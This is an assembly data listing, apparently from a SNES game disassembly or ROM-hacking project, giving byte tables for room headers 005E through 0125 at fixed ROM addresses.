org $30DF24 : RoomHeader_005E: ; pc 0x185F24
db $20, $13, $0B, $1C, $00, $00, $00, $00, $00, $7E, $7E, $00, $13, $0B
org $30DF32 : RoomHeader_005F: ; pc 0x185F32
db $00, $13, $0B, $1C, $00, $27, $00, $00, $00, $00, $3F, $7F, $C0, $00
org $30DF40 : RoomHeader_0060: ; pc 0x185F40
db $C0, $00, $00, $04, $00, $00, $00, $C0, $00, $00, $04, $00, $00, $00
org $30DF4E : RoomHeader_0061: ; pc 0x185F4E
db $C0, $00, $00, $04, $00, $00, $00, $08, $00, $00, $51, $00, $09, $05
org $30DF5C : RoomHeader_0062: ; pc 0x185F5C
db $C0, $00, $00, $04, $00, $00, $00, $C0, $00, $00, $04, $00, $00, $00
org $30DF6A : RoomHeader_0063: ; pc 0x185F6A
db $00, $09, $05, $0A, $00, $0D, $00, $00, $00, $00, $53, $E0, $23, $0A
org $30DF78 : RoomHeader_0064: ; pc 0x185F78
db $E0, $23, $0A, $21, $00, $17, $00, $00, $00, $00, $AB, $E0, $23, $0A
org $30DF86 : RoomHeader_0065: ; pc 0x185F86
db $E0, $23, $0A, $21, $00, $00, $00, $00, $00, $AC, $C0, $0A, $08, $11
org $30DF94 : RoomHeader_0066: ; pc 0x185F94
db $C0, $0A, $08, $11, $00, $3C, $00, $00, $00, $00, $16, $00, $0D, $09
org $30DFA2 : RoomHeader_0067: ; pc 0x185FA2
db $00, $0D, $09, $13, $00, $22, $00, $00, $0D, $09, $13, $00, $00, $00
org $30DFB0 : RoomHeader_0068: ; pc 0x185FB0
db $00, $0D, $09, $13, $00, $00, $00, $01, $0F, $07, $19, $00, $00, $00
org $30DFBE : RoomHeader_0069: ; pc 0x185FBE
db $01, $0F, $07, $19, $00, $00, $00, $00, $00, $00, $1A, $1A, $00, $1B
org $30DFCC : RoomHeader_006A: ; pc 0x185FCC
db $01, $0F, $07, $19, $00, $00, $00, $00, $00, $00, $1A, $1A, $00, $1B
org $30DFDA : RoomHeader_006B: ; pc 0x185FDA
db $00, $1B, $0E, $0A, $00, $08, $0B, $00, $00, $00, $0C, $00, $24, $0E
org $30DFE8 : RoomHeader_006C: ; pc 0x185FE8
db $00, $24, $0E, $23, $00, $03, $3F, $00, $00, $00, $A5, $00, $24, $0E
org $30DFF6 : RoomHeader_006D: ; pc 0x185FF6
db $00, $24, $0E, $23, $00, $05, $00, $00, $13, $0B, $1C, $00, $02, $00
org $30E004 : RoomHeader_006E: ; pc 0x186004
db $00, $13, $0B, $1C, $00, $02, $00, $00, $00, $00, $4E, $00, $01, $01
org $30E012 : RoomHeader_006F: ; pc 0x186012
db $00, $01, $01, $04, $00, $00, $00, $08, $00, $00, $71, $80, $C0, $01
org $30E020 : RoomHeader_0070: ; pc 0x186020
db $00, $01, $01, $04, $00, $00, $00, $08, $00, $00, $71, $80, $C0, $01
org $30E02E : RoomHeader_0071: ; pc 0x18602E
db $C0, $01, $01, $04, $00, $08, $00, $00, $00, $00, $70, $C0, $01, $01
org $30E03C : RoomHeader_0072: ; pc 0x18603C
db $C0, $01, $01, $04, $00, $00, $00, $08, $00, $00, $01, $00, $09, $05
org $30E04A : RoomHeader_0073: ; pc 0x18604A
db $00, $09, $05, $0A, $00, $17, $00, $00, $09, $05, $0A, $00, $27, $00
org $30E058 : RoomHeader_0074: ; pc 0x186058
db $00, $09, $05, $0A, $00, $27, $00, $00, $09, $05, $0A, $00, $01, $00
org $30E066 : RoomHeader_0075: ; pc 0x186066
db $00, $09, $05, $0A, $00, $01, $00, $80, $0A, $08, $11, $00, $00, $18
org $30E074 : RoomHeader_0076: ; pc 0x186074
db $80, $0A, $08, $11, $00, $00, $18, $00, $00, $00, $26, $26, $26, $C0
org $30E082 : RoomHeader_0077: ; pc 0x186082
db $C0, $06, $05, $19, $00, $00, $00, $00, $00, $A7, $31, $87, $87, $00
org $30E090 : RoomHeader_0078: ; pc 0x186090
db $00, $28, $0E, $13, $00, $03, $39, $00, $00, $9D, $00, $28, $0E, $13
org $30E09E : RoomHeader_0079: ; pc 0x18609E
db $00, $28, $0E, $13, $00, $03, $39, $00, $00, $9D, $00, $28, $0E, $13
org $30E0AC : RoomHeader_007A: ; pc 0x1860AC
db $00, $28, $0E, $13, $00, $03, $39, $00, $00, $9D, $00, $28, $0E, $13
org $30E0BA : RoomHeader_007B: ; pc 0x1860BA
db $00, $28, $0E, $13, $00, $03, $39, $00, $00, $9D, $00, $28, $0E, $13
org $30E0C8 : RoomHeader_007C: ; pc 0x1860C8
db $00, $28, $0E, $13, $00, $20, $00, $00, $28, $0E, $13, $00, $04, $3C
org $30E0D6 : RoomHeader_007D: ; pc 0x1860D6
db $00, $28, $0E, $13, $00, $04, $3C, $00, $00, $9B, $20, $13, $0B, $1C
org $30E0E4 : RoomHeader_007E: ; pc 0x1860E4
db $20, $13, $0B, $1C, $00, $2B, $17, $00, $00, $9E, $5E, $00, $13, $0B
org $30E0F2 : RoomHeader_007F: ; pc 0x1860F2
db $00, $13, $0B, $1C, $00, $00, $00, $00, $00, $00, $5F, $60, $01, $01
org $30E100 : RoomHeader_0080: ; pc 0x186100
db $60, $01, $01, $04, $00, $00, $00, $00, $00, $00, $70, $C0, $01, $01
org $30E10E : RoomHeader_0081: ; pc 0x18610E
db $C0, $01, $01, $04, $00, $00, $00, $00, $09, $05, $0A, $00, $0D, $00
org $30E11C : RoomHeader_0082: ; pc 0x18611C
db $C0, $01, $01, $04, $00, $00, $00, $00, $09, $05, $0A, $00, $0D, $00
org $30E12A : RoomHeader_0083: ; pc 0x18612A
db $00, $09, $05, $0A, $00, $0D, $00, $00, $09, $05, $0A, $00, $00, $00
org $30E138 : RoomHeader_0084: ; pc 0x186138
db $00, $09, $05, $0A, $00, $00, $00, $00, $09, $05, $0A, $00, $02, $00
org $30E146 : RoomHeader_0085: ; pc 0x186146
db $00, $09, $05, $0A, $00, $02, $00, $00, $06, $05, $19, $00, $3E, $01
org $30E154 : RoomHeader_0086: ; pc 0x186154
db $00, $06, $05, $19, $00, $3E, $01, $28, $00, $00, $77, $77, $00, $0B
org $30E162 : RoomHeader_0087: ; pc 0x186162
db $00, $06, $05, $19, $00, $3E, $01, $28, $00, $00, $77, $77, $00, $0B
org $30E170 : RoomHeader_0088: ; pc 0x186170
db $00, $0B, $05, $08, $00, $00, $00, $02, $00, $A9, $00, $28, $0E, $13
org $30E17E : RoomHeader_0089: ; pc 0x18617E
db $00, $0B, $05, $08, $00, $00, $00, $02, $00, $A9, $00, $28, $0E, $13
org $30E18C : RoomHeader_008A: ; pc 0x18618C
db $00, $28, $0E, $13, $00, $3A, $0C, $20, $28, $0E, $13, $00, $16, $00
org $30E19A : RoomHeader_008B: ; pc 0x18619A
db $00, $28, $0E, $13, $00, $3A, $0C, $20, $28, $0E, $13, $00, $16, $00
org $30E1A8 : RoomHeader_008C: ; pc 0x1861A8
db $20, $28, $0E, $13, $00, $16, $00, $28, $00, $1C, $0C, $0C, $1C, $00
org $30E1B6 : RoomHeader_008D: ; pc 0x1861B6
db $00, $28, $0E, $13, $00, $33, $29, $00, $13, $0B, $1C, $00, $00, $00
org $30E1C4 : RoomHeader_008E: ; pc 0x1861C4
db $00, $13, $0B, $1C, $00, $00, $00, $00, $00, $00, $AE, $80, $12, $0C
org $30E1D2 : RoomHeader_008F: ; pc 0x1861D2
db $80, $12, $0C, $16, $00, $25, $00, $00, $11, $0C, $1C, $00, $00, $00
org $30E1E0 : RoomHeader_0090: ; pc 0x1861E0
db $80, $12, $0C, $16, $00, $25, $00, $00, $11, $0C, $1C, $00, $00, $00
org $30E1EE : RoomHeader_0091: ; pc 0x1861EE
db $00, $11, $0C, $1C, $00, $00, $00, $00, $00, $00, $A0, $01, $11, $0C
org $30E1FC : RoomHeader_0092: ; pc 0x1861FC
db $01, $11, $0C, $1C, $00, $00, $00, $01, $11, $0C, $1C, $00, $16, $00
org $30E20A : RoomHeader_0093: ; pc 0x18620A
db $01, $11, $0C, $1C, $00, $16, $00, $08, $00, $00, $A2, $00, $25, $0E
org $30E218 : RoomHeader_0094: ; pc 0x186218
db $00, $25, $0E, $24, $00, $00, $00, $00, $25, $0E, $24, $00, $33, $00
org $30E226 : RoomHeader_0095: ; pc 0x186226
db $00, $25, $0E, $24, $00, $00, $00, $00, $25, $0E, $24, $00, $33, $00
org $30E234 : RoomHeader_0096: ; pc 0x186234
db $00, $25, $0E, $24, $00, $33, $00, $00, $00, $00, $3D, $68, $11, $0C
org $30E242 : RoomHeader_0097: ; pc 0x186242
db $68, $11, $0C, $1D, $00, $1C, $00, $00, $00, $D1, $D1, $00, $11, $0C
org $30E250 : RoomHeader_0098: ; pc 0x186250
db $00, $11, $0C, $1C, $00, $00, $00, $00, $00, $00, $D2, $01, $0B, $05
org $30E25E : RoomHeader_0099: ; pc 0x18625E
db $01, $0B, $05, $08, $00, $00, $00, $00, $00, $00, $DA, $00, $28, $0E
org $30E26C : RoomHeader_009A: ; pc 0x18626C
db $00, $28, $0E, $13, $00, $00, $00, $00, $00, $7D, $00, $28, $0E, $13
org $30E27A : RoomHeader_009B: ; pc 0x18627A
db $00, $28, $0E, $13, $00, $00, $00, $00, $00, $7D, $00, $28, $0E, $13
org $30E288 : RoomHeader_009C: ; pc 0x186288
db $00, $28, $0E, $13, $06, $00, $00, $00, $28, $0E, $13, $06, $00, $3B
org $30E296 : RoomHeader_009D: ; pc 0x186296
db $00, $28, $0E, $13, $06, $00, $3B, $00, $00, $7B, $20, $13, $0B, $1C
org $30E2A4 : RoomHeader_009E: ; pc 0x1862A4
db $20, $13, $0B, $1C, $00, $00, $00, $00, $00, $BE, $BE, $00, $13, $0B
org $30E2B2 : RoomHeader_009F: ; pc 0x1862B2
db $00, $13, $0B, $1C, $00, $17, $00, $00, $12, $0C, $1D, $00, $00, $00
org $30E2C0 : RoomHeader_00A0: ; pc 0x1862C0
db $00, $12, $0C, $1D, $00, $00, $00, $00, $00, $00, $91, $00, $11, $0C
org $30E2CE : RoomHeader_00A1: ; pc 0x1862CE
db $00, $11, $0C, $1D, $00, $00, $00, $C0, $11, $0C, $1D, $00, $00, $00
org $30E2DC : RoomHeader_00A2: ; pc 0x1862DC
db $C0, $11, $0C, $1D, $00, $00, $00, $00, $00, $00, $93, $60, $19, $0D
org $30E2EA : RoomHeader_00A3: ; pc 0x1862EA
db $00, $11, $0C, $1D, $00, $00, $00, $C0, $11, $0C, $1D, $00, $00, $00
org $30E2F8 : RoomHeader_00A4: ; pc 0x1862F8
db $60, $19, $0D, $17, $04, $25, $00, $00, $25, $0E, $24, $00, $07, $00
org $30E306 : RoomHeader_00A5: ; pc 0x186306
db $00, $25, $0E, $24, $00, $07, $00, $00, $00, $00, $6C, $00, $25, $0E
org $30E314 : RoomHeader_00A6: ; pc 0x186314
db $00, $25, $0E, $24, $00, $00, $00, $00, $00, $00, $4D, $00, $06, $05
org $30E322 : RoomHeader_00A7: ; pc 0x186322
db $00, $06, $05, $19, $00, $00, $00, $00, $00, $17, $C0, $0B, $05, $08
org $30E330 : RoomHeader_00A8: ; pc 0x186330
db $C0, $0B, $05, $08, $00, $03, $00, $C0, $0B, $05, $08, $00, $17, $00
org $30E33E : RoomHeader_00A9: ; pc 0x18633E
db $C0, $0B, $05, $08, $00, $17, $00, $00, $00, $89, $C0, $0B, $05, $08
org $30E34C : RoomHeader_00AA: ; pc 0x18634C
db $C0, $0B, $05, $08, $00, $17, $00, $00, $17, $0A, $1B, $00, $00, $00
org $30E35A : RoomHeader_00AB: ; pc 0x18635A
db $00, $17, $0A, $1B, $00, $00, $00, $00, $00, $00, $64, $E0, $17, $0A
org $30E368 : RoomHeader_00AC: ; pc 0x186368
db $E0, $17, $0A, $20, $00, $25, $00, $00, $13, $0B, $1C, $00, $27, $00
org $30E376 : RoomHeader_00AD: ; pc 0x186376
db $00, $13, $0B, $1C, $00, $27, $00, $00, $00, $00, $8E, $00, $13, $0B
org $30E384 : RoomHeader_00AE: ; pc 0x186384
db $00, $13, $0B, $1C, $00, $27, $00, $00, $00, $00, $8E, $00, $13, $0B
org $30E392 : RoomHeader_00AF: ; pc 0x186392
db $00, $13, $0B, $1C, $00, $00, $00, $00, $26, $02, $21, $00, $05, $02
org $30E3A0 : RoomHeader_00B0: ; pc 0x1863A0
db $00, $26, $02, $21, $00, $05, $02, $08, $00, $00, $40, $C0, $00, $11
org $30E3AE : RoomHeader_00B1: ; pc 0x1863AE
db $00, $11, $0C, $1D, $00, $00, $00, $02, $00, $B2, $C0, $11, $0C, $1D
org $30E3BC : RoomHeader_00B2: ; pc 0x1863BC
db $C0, $11, $0C, $1D, $00, $03, $0E, $C0, $11, $0C, $1D, $00, $27, $00
org $30E3CA : RoomHeader_00B3: ; pc 0x1863CA
db $C0, $11, $0C, $1D, $00, $27, $00, $00, $19, $0D, $17, $00, $00, $00
org $30E3D8 : RoomHeader_00B4: ; pc 0x1863D8
db $00, $19, $0D, $17, $00, $00, $00, $00, $00, $00, $C4, $01, $18, $0D
org $30E3E6 : RoomHeader_00B5: ; pc 0x1863E6
db $01, $18, $0D, $25, $00, $17, $00, $00, $00, $00, $04, $00, $18, $0D
org $30E3F4 : RoomHeader_00B6: ; pc 0x1863F4
db $00, $18, $0D, $1E, $00, $04, $3C, $00, $00, $00, $15, $00, $0B, $05
org $30E402 : RoomHeader_00B7: ; pc 0x186402
db $00, $18, $0D, $1E, $00, $00, $00, $20, $18, $0D, $26, $00, $00, $00
org $30E410 : RoomHeader_00B8: ; pc 0x186410
db $00, $0B, $05, $08, $00, $27, $00, $C0, $0B, $05, $08, $00, $00, $00
org $30E41E : RoomHeader_00B9: ; pc 0x18641E
db $C0, $0B, $05, $08, $00, $00, $00, $01, $0B, $05, $08, $00, $17, $00
org $30E42C : RoomHeader_00BA: ; pc 0x18642C
db $01, $0B, $05, $08, $00, $17, $00, $40, $17, $0A, $1B, $00, $00, $00
org $30E43A : RoomHeader_00BB: ; pc 0x18643A
db $40, $17, $0A, $1B, $00, $00, $00, $00, $17, $0A, $1B, $00, $17, $00
org $30E448 : RoomHeader_00BC: ; pc 0x186448
db $00, $17, $0A, $1B, $00, $17, $00, $00, $00, $00, $45, $00, $13, $0B
org $30E456 : RoomHeader_00BD: ; pc 0x186456
db $00, $13, $0B, $29, $00, $16, $00, $00, $00, $4F, $9E, $00, $13, $0B
org $30E464 : RoomHeader_00BE: ; pc 0x186464
db $00, $13, $0B, $29, $00, $16, $00, $00, $00, $4F, $9E, $00, $13, $0B
org $30E472 : RoomHeader_00BF: ; pc 0x186472
db $00, $13, $0B, $29, $00, $00, $00, $01, $00, $02, $27, $00, $02, $0F
org $30E480 : RoomHeader_00C0: ; pc 0x186480
db $01, $00, $02, $27, $00, $02, $0F, $00, $00, $00, $B0, $D0, $00, $11
org $30E48E : RoomHeader_00C1: ; pc 0x18648E
db $00, $11, $0C, $1D, $00, $33, $00, $C0, $11, $0C, $1D, $00, $27, $00
org $30E49C : RoomHeader_00C2: ; pc 0x18649C
db $C0, $11, $0C, $1D, $00, $27, $00, $C0, $11, $0C, $1D, $00, $00, $00
org $30E4AA : RoomHeader_00C3: ; pc 0x1864AA
db $C0, $11, $0C, $1D, $00, $00, $00, $00, $18, $0D, $25, $00, $00, $00
org $30E4B8 : RoomHeader_00C4: ; pc 0x1864B8
db $00, $18, $0D, $25, $00, $00, $00, $00, $00, $00, $B4, $00, $18, $0D
org $30E4C6 : RoomHeader_00C5: ; pc 0x1864C6
db $00, $18, $0D, $25, $00, $00, $00, $00, $18, $0D, $1E, $00, $33, $00
org $30E4D4 : RoomHeader_00C6: ; pc 0x1864D4
db $00, $18, $0D, $1E, $00, $00, $00, $20, $18, $0D, $26, $00, $00, $00
org $30E4E2 : RoomHeader_00C7: ; pc 0x1864E2
db $00, $18, $0D, $1E, $00, $33, $00, $00, $0B, $05, $09, $00, $15, $25
org $30E4F0 : RoomHeader_00C8: ; pc 0x1864F0
db $00, $0B, $05, $09, $00, $15, $25, $00, $0B, $05, $08, $00, $17, $00
org $30E4FE : RoomHeader_00C9: ; pc 0x1864FE
db $00, $0B, $05, $08, $00, $17, $00, $C0, $17, $0A, $1B, $00, $00, $00
org $30E50C : RoomHeader_00CA: ; pc 0x18650C
db $C0, $17, $0A, $1B, $00, $00, $00, $20, $13, $0B, $29, $00, $14, $00
org $30E51A : RoomHeader_00CB: ; pc 0x18651A
db $C0, $17, $0A, $1B, $00, $00, $00, $20, $13, $0B, $29, $00, $14, $00
org $30E528 : RoomHeader_00CC: ; pc 0x186528
db $C0, $17, $0A, $1B, $00, $00, $00, $20, $13, $0B, $29, $00, $14, $00
org $30E536 : RoomHeader_00CD: ; pc 0x186536
db $20, $13, $0B, $29, $00, $14, $00, $00, $00, $DE, $01, $00, $02, $21
org $30E544 : RoomHeader_00CE: ; pc 0x186544
db $20, $13, $0B, $29, $00, $14, $00, $00, $00, $DE, $01, $00, $02, $21
org $30E552 : RoomHeader_00CF: ; pc 0x186552
db $01, $00, $02, $21, $00, $0F, $00, $00, $00, $00, $C0, $E0, $00, $11
org $30E560 : RoomHeader_00D0: ; pc 0x186560
db $01, $00, $02, $21, $00, $0F, $00, $00, $00, $00, $C0, $E0, $00, $11
org $30E56E : RoomHeader_00D1: ; pc 0x18656E
db $00, $11, $0C, $1D, $00, $00, $00, $00, $00, $B1, $97, $00, $11, $0C
org $30E57C : RoomHeader_00D2: ; pc 0x18657C
db $00, $11, $0C, $1D, $00, $0A, $00, $00, $00, $00, $98, $00, $0B, $05
org $30E58A : RoomHeader_00D3: ; pc 0x18658A
db $00, $0B, $05, $08, $00, $06, $00, $00, $0B, $05, $08, $00, $17, $00
org $30E598 : RoomHeader_00D4: ; pc 0x186598
db $00, $0B, $05, $08, $00, $06, $00, $00, $0B, $05, $08, $00, $17, $00
org $30E5A6 : RoomHeader_00D5: ; pc 0x1865A6
db $00, $18, $0D, $25, $00, $00, $00, $00, $18, $0D, $1E, $00, $33, $00
org $30E5B4 : RoomHeader_00D6: ; pc 0x1865B4
db $00, $18, $0D, $1E, $00, $00, $00, $20, $18, $0D, $26, $00, $00, $00
org $30E5C2 : RoomHeader_00D7: ; pc 0x1865C2
db $00, $0B, $05, $08, $00, $06, $00, $00, $0B, $05, $08, $00, $17, $00
org $30E5D0 : RoomHeader_00D8: ; pc 0x1865D0
db $00, $0B, $05, $08, $00, $06, $00, $00, $0B, $05, $08, $00, $17, $00
org $30E5DE : RoomHeader_00D9: ; pc 0x1865DE
db $00, $0B, $05, $08, $00, $17, $00, $00, $0B, $05, $08, $00, $17, $00
org $30E5EC : RoomHeader_00DA: ; pc 0x1865EC
db $00, $0B, $05, $08, $00, $17, $00, $00, $00, $00, $99, $E0, $14, $0B
org $30E5FA : RoomHeader_00DB: ; pc 0x1865FA
db $C0, $17, $0A, $1B, $00, $00, $00, $20, $13, $0B, $29, $00, $14, $00
org $30E608 : RoomHeader_00DC: ; pc 0x186608
db $C0, $17, $0A, $1B, $00, $00, $00, $20, $13, $0B, $29, $00, $14, $00
org $30E616 : RoomHeader_00DD: ; pc 0x186616
db $E0, $14, $0B, $16, $00, $25, $00, $C0, $20, $06, $13, $00, $00, $00
org $30E624 : RoomHeader_00DE: ; pc 0x186624
db $E0, $14, $0B, $16, $00, $25, $00, $C0, $20, $06, $13, $00, $00, $00
org $30E632 : RoomHeader_00DF: ; pc 0x186632
db $C0, $20, $06, $13, $00, $00, $00, $00, $00, $00, $EF, $00, $26, $02
org $30E640 : RoomHeader_00E0: ; pc 0x186640
db $00, $26, $02, $21, $00, $01, $2A, $00, $00, $00, $D0, $C0, $07, $06
org $30E64E : RoomHeader_00E1: ; pc 0x18664E
db $C0, $07, $06, $28, $00, $00, $00, $00, $20, $06, $13, $00, $00, $00
org $30E65C : RoomHeader_00E2: ; pc 0x18665C
db $00, $20, $06, $13, $00, $00, $00, $C0, $20, $06, $09, $00, $00, $00
org $30E66A : RoomHeader_00E3: ; pc 0x18666A
db $C0, $20, $06, $09, $00, $00, $00, $01, $07, $14, $01, $00, $00, $00
org $30E678 : RoomHeader_00E4: ; pc 0x186678
db $01, $07, $14, $01, $00, $00, $00, $01, $07, $06, $01, $00, $00, $00
org $30E686 : RoomHeader_00E5: ; pc 0x186686
db $01, $07, $14, $01, $00, $00, $00, $01, $07, $06, $01, $00, $00, $00
org $30E694 : RoomHeader_00E6: ; pc 0x186694
db $01, $07, $06, $01, $00, $00, $00, $20, $07, $06, $13, $00, $00, $00
org $30E6A2 : RoomHeader_00E7: ; pc 0x1866A2
db $01, $07, $06, $01, $00, $00, $00, $20, $07, $06, $13, $00, $00, $00
org $30E6B0 : RoomHeader_00E8: ; pc 0x1866B0
db $20, $07, $06, $13, $00, $00, $00, $00, $00, $F8, $F8, $F8, $F8, $F8
org $30E6BE : RoomHeader_00E9: ; pc 0x1866BE
db $20, $20, $06, $13, $00, $00, $00, $00, $00, $FA, $FA, $20, $07, $06
org $30E6CC : RoomHeader_00EA: ; pc 0x1866CC
db $20, $20, $06, $13, $00, $00, $00, $00, $00, $FA, $FA, $20, $07, $06
org $30E6DA : RoomHeader_00EB: ; pc 0x1866DA
db $20, $07, $06, $19, $00, $00, $00, $00, $00, $FB, $FB, $20, $20, $06
org $30E6E8 : RoomHeader_00EC: ; pc 0x1866E8
db $20, $20, $06, $13, $00, $00, $00, $00, $00, $FD, $FD, $FD, $20, $20
org $30E6F6 : RoomHeader_00ED: ; pc 0x1866F6
db $20, $20, $06, $13, $00, $00, $00, $00, $00, $FD, $FD, $FD, $20, $20
org $30E704 : RoomHeader_00EE: ; pc 0x186704
db $20, $20, $06, $13, $00, $00, $00, $00, $00, $FE, $20, $20, $06, $13
org $30E712 : RoomHeader_00EF: ; pc 0x186712
db $20, $20, $06, $13, $00, $02, $00, $08, $00, $FF, $DF, $FF, $00, $02
org $30E720 : RoomHeader_00F0: ; pc 0x186720
db $01, $07, $06, $01, $00, $00, $00, $20, $07, $06, $13, $00, $00, $00
org $30E72E : RoomHeader_00F1: ; pc 0x18672E
db $01, $07, $06, $01, $00, $00, $00, $20, $07, $06, $13, $00, $00, $00
org $30E73C : RoomHeader_00F2: ; pc 0x18673C
db $00, $02, $03, $05, $00, $00, $02, $03, $0F, $00, $00, $00, $00, $07
org $30E74A : RoomHeader_00F3: ; pc 0x18674A
db $00, $02, $03, $05, $00, $00, $02, $03, $0F, $00, $00, $00, $00, $07
org $30E758 : RoomHeader_00F4: ; pc 0x186758
db $00, $02, $03, $0F, $00, $00, $00, $00, $07, $06, $13, $00, $00, $00
org $30E766 : RoomHeader_00F5: ; pc 0x186766
db $00, $02, $03, $0F, $00, $00, $00, $00, $07, $06, $13, $00, $00, $00
org $30E774 : RoomHeader_00F6: ; pc 0x186774
db $00, $07, $06, $13, $00, $00, $00, $00, $00, $00, $E8, $E8, $E8, $E8
org $30E782 : RoomHeader_00F7: ; pc 0x186782
db $00, $07, $06, $13, $00, $00, $00, $00, $00, $00, $E8, $E8, $E8, $E8
org $30E790 : RoomHeader_00F8: ; pc 0x186790
db $00, $07, $06, $13, $00, $00, $00, $00, $00, $00, $E8, $E8, $E8, $E8
org $30E79E : RoomHeader_00F9: ; pc 0x18679E
db $00, $20, $06, $13, $00, $00, $00, $C0, $20, $06, $13, $00, $00, $00
org $30E7AC : RoomHeader_00FA: ; pc 0x1867AC
db $C0, $20, $06, $13, $00, $00, $00, $00, $00, $00, $EA, $00, $07, $06
org $30E7BA : RoomHeader_00FB: ; pc 0x1867BA
db $00, $07, $06, $19, $00, $00, $00, $00, $00, $00, $EB, $00, $20, $06
org $30E7C8 : RoomHeader_00FC: ; pc 0x1867C8
db $00, $20, $06, $13, $00, $00, $00, $00, $00, $00, $ED, $ED, $00, $07
org $30E7D6 : RoomHeader_00FD: ; pc 0x1867D6
db $00, $20, $06, $13, $00, $00, $00, $00, $00, $00, $ED, $ED, $00, $07
org $30E7E4 : RoomHeader_00FE: ; pc 0x1867E4
db $00, $20, $06, $13, $00, $00, $00, $C0, $20, $06, $13, $00, $00, $00
org $30E7F2 : RoomHeader_00FF: ; pc 0x1867F2
db $00, $07, $06, $05, $00, $00, $00, $00, $00, $00, $EF, $00, $05, $03
org $30E800 : RoomHeader_0100: ; pc 0x186800
db $00, $05, $03, $28, $00, $00, $00, $00, $1F, $03, $05, $00, $00, $00
org $30E80E : RoomHeader_0101: ; pc 0x18680E
db $00, $02, $03, $0F, $00, $00, $00, $00, $15, $03, $0D, $00, $00, $00
org $30E81C : RoomHeader_0102: ; pc 0x18681C
db $00, $15, $03, $0D, $00, $00, $00, $00, $05, $03, $0F, $00, $00, $00
org $30E82A : RoomHeader_0103: ; pc 0x18682A
db $00, $05, $03, $0F, $00, $00, $00, $01, $15, $03, $0D, $00, $00, $00
org $30E838 : RoomHeader_0104: ; pc 0x186838
db $01, $15, $03, $0D, $00, $00, $00, $00, $1C, $0F, $10, $00, $00, $00
org $30E846 : RoomHeader_0105: ; pc 0x186846
db $00, $1C, $0F, $10, $00, $00, $00, $00, $1F, $03, $0F, $00, $00, $00
org $30E854 : RoomHeader_0106: ; pc 0x186854
db $00, $1F, $03, $0F, $00, $00, $00, $00, $02, $03, $01, $00, $00, $00
org $30E862 : RoomHeader_0107: ; pc 0x186862
db $00, $02, $03, $01, $00, $00, $00, $00, $02, $03, $0E, $00, $00, $00
org $30E870 : RoomHeader_0108: ; pc 0x186870
db $00, $02, $03, $0E, $00, $00, $00, $01, $05, $03, $05, $00, $00, $00
org $30E87E : RoomHeader_0109: ; pc 0x18687E
db $01, $05, $03, $05, $00, $00, $00, $01, $07, $06, $10, $00, $00, $00
org $30E88C : RoomHeader_010A: ; pc 0x18688C
db $01, $07, $06, $10, $00, $00, $00, $80, $0A, $08, $08, $00, $00, $1A
org $30E89A : RoomHeader_010B: ; pc 0x18689A
db $80, $0A, $08, $08, $00, $00, $1A, $00, $27, $06, $08, $00, $03, $00
org $30E8A8 : RoomHeader_010C: ; pc 0x1868A8
db $00, $27, $06, $08, $00, $03, $00, $00, $0A, $08, $11, $00, $00, $00
org $30E8B6 : RoomHeader_010D: ; pc 0x1868B6
db $00, $0A, $08, $11, $00, $00, $00, $00, $07, $14, $05, $00, $00, $00
org $30E8C4 : RoomHeader_010E: ; pc 0x1868C4
db $00, $07, $14, $05, $00, $00, $00, $00, $1E, $11, $05, $00, $00, $00
org $30E8D2 : RoomHeader_010F: ; pc 0x1868D2
db $00, $1F, $03, $05, $00, $00, $00, $00, $02, $03, $0F, $00, $00, $00
org $30E8E0 : RoomHeader_0110: ; pc 0x1868E0
db $00, $1F, $03, $05, $00, $00, $00, $00, $02, $03, $0F, $00, $00, $00
org $30E8EE : RoomHeader_0111: ; pc 0x1868EE
db $00, $1E, $11, $05, $00, $00, $00, $00, $07, $14, $05, $00, $00, $00
org $30E8FC : RoomHeader_0112: ; pc 0x1868FC
db $00, $07, $14, $05, $00, $00, $00, $00, $03, $10, $08, $00, $00, $00
org $30E90A : RoomHeader_0113: ; pc 0x18690A
db $00, $03, $10, $08, $00, $00, $00, $00, $07, $06, $07, $00, $00, $00
org $30E918 : RoomHeader_0114: ; pc 0x186918
db $00, $07, $06, $07, $00, $00, $00, $00, $22, $12, $07, $00, $00, $00
org $30E926 : RoomHeader_0115: ; pc 0x186926
db $00, $07, $06, $07, $00, $00, $00, $00, $22, $12, $07, $00, $00, $00
org $30E934 : RoomHeader_0116: ; pc 0x186934
db $00, $22, $12, $07, $00, $00, $00, $00, $20, $14, $05, $00, $00, $00
org $30E942 : RoomHeader_0117: ; pc 0x186942
db $00, $20, $14, $05, $00, $00, $00, $E0, $23, $0A, $0F, $00, $00, $00
org $30E950 : RoomHeader_0118: ; pc 0x186950
db $00, $05, $03, $0F, $00, $00, $00, $01, $15, $03, $0D, $00, $00, $00
org $30E95E : RoomHeader_0119: ; pc 0x18695E
db $E0, $23, $0A, $0F, $00, $00, $00, $00, $00, $00, $1D, $00, $1C, $0F
org $30E96C : RoomHeader_011A: ; pc 0x18696C
db $00, $1C, $0F, $05, $00, $00, $00, $C0, $07, $06, $08, $00, $00, $00
org $30E97A : RoomHeader_011B: ; pc 0x18697A
db $C0, $07, $06, $08, $00, $00, $00, $00, $23, $0A, $0F, $00, $00, $00
org $30E988 : RoomHeader_011C: ; pc 0x186988
db $00, $1F, $03, $05, $00, $00, $00, $00, $02, $03, $0F, $00, $00, $00
org $30E996 : RoomHeader_011D: ; pc 0x186996
db $00, $23, $0A, $0F, $00, $00, $00, $00, $00, $00, $19, $00, $20, $06
org $30E9A4 : RoomHeader_011E: ; pc 0x1869A4
db $00, $20, $06, $2A, $00, $00, $00, $00, $05, $03, $05, $00, $00, $00
org $30E9B2 : RoomHeader_011F: ; pc 0x1869B2
db $00, $05, $03, $05, $00, $00, $00, $00, $13, $06, $13, $00, $00, $00
org $30E9C0 : RoomHeader_0120: ; pc 0x1869C0
db $00, $13, $06, $13, $00, $00, $00, $00, $07, $06, $28, $00, $03, $00
org $30E9CE : RoomHeader_0121: ; pc 0x1869CE
db $00, $1E, $11, $05, $00, $00, $00, $00, $07, $14, $05, $00, $00, $00
org $30E9DC : RoomHeader_0122: ; pc 0x1869DC
db $00, $1E, $11, $05, $00, $00, $00, $00, $07, $14, $05, $00, $00, $00
org $30E9EA : RoomHeader_0123: ; pc 0x1869EA
db $00, $07, $06, $28, $00, $03, $00, $00, $07, $06, $28, $00, $00, $00
org $30E9F8 : RoomHeader_0124: ; pc 0x1869F8
db $00, $07, $06, $28, $00, $00, $00, $FF, $FF, $FF, $FF, $FF, $FF, $FF
org $30EA06 : RoomHeader_0125: ; pc 0x186A06
db $00, $07, $06, $28, $00, $00, $00, $FF, $FF, $FF, $FF, $FF, $FF, $FF
